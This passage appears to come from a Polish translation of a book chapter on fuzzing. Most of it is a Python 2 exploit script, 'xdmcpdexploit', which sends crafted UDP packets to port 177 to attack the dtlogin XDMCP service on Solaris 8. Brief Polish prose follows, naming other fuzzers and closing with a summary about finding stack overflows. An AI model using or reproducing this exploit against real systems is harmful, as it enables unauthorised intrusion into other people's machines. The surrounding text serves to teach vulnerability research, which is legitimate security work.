packet2+=binstring("0x4f 0x4f 0x4b 0x49 0x45 0x2d 0x31 0x00 0x13 0x58
0x43 0x2d 0x51 0x55")
packet2+=binstring("0x45 0x52 0x59 0x2d 0x53 0x45 0x43 0x55 0x52 0x49
0x54 0x59 0x2d 0x31")
packet2+=binstring("0x00 0x00")
class xdmcpdexploit:
def __init__(self):
self.port=177
self.host=""
return
def setPort(self,port):
self.port=port
return
def setHost(self,host):
```

```
self.host=host
return
def run(self):
#first make socket connection to target 177
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((self.host, self.port))
#sploitstring=self.makesploit()
print “[*] Sending first packet...”
s.send(packet1)
time.sleep(1)
print “[*] Receiving first response.”
result = s.recv(1000)
print “result=”+prettyprint(result)
if
prettyprint(result)==”[0][1][0][9][0][1c][0][16]No[20]valid[20]authoriza
tion[0][0][0][0]“:
print “That was expected. Don’t panic. We’re not valid ever. :>”
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((self.host, self.port))
print “[*] Sending second packet”
s.send(packet2)
#time.sleep(1)
#result = s.recv(1000)
s.close()
#success
print “[*] Done.”
#this stuff happens.
if __name__ == ‘__main__‘:
print “Running xdmcpd exploit v 0.1”
print “Works on dtlogin Solaris 8”
```

```
app = xdmcpdexploit()

if len(sys.argv) < 2:

print “Usage: xdmcpx.py target [port]“

sys.exit()

app.setHost(sys.argv[1])

if len(sys.argv) == 3:

app.setPort(int(sys.argv[2]))

app.run()
```

Inne Fuzzery

Obecnie na rynku dostępnych jest kilka fuzzerów. Hailstorm i eEye CHAM to komercyjne fuzzery. Slajdy informacyjne Grega Hoglunda dotyczące Blackhat są również warte przeczytania, jeśli chcesz zagłębić się w tego rodzaju technologię. Wiele osób napisało również własne fuzzery, używając struktur danych podobnych do SPIKE. Jeśli planujesz napisać własny, sugerujemy napisanie go w Pythonie (gdyby SPIKE został kiedykolwiek przepisany, bez wątpienia byłby w Pythonie). Ponadto różne przemówienia w Blackhat na SPIKE są dostępne w archiwach medialnych konferencji Black Hat.

Podsumowanie

Trudno uchwycić magię fuzzingu w jednej części – prawie trzeba to zobaczyć, aby w to uwierzyć. Mam nadzieję, że gdy zaznajomisz się z różnymi fuzzerami, a może nawet napiszesz własne lub rozszerzenie do tego, którego używasz, będziesz mieć chwile, w których nieobliczalnie skomplikowany protokół w ogromnym programie nagle ustąpi miejsca pojedynczemu czystemu stosowi. przepełnienie, doświadczenie podobne do losowego kopania w piasku na plaży i wymyślania rubinu.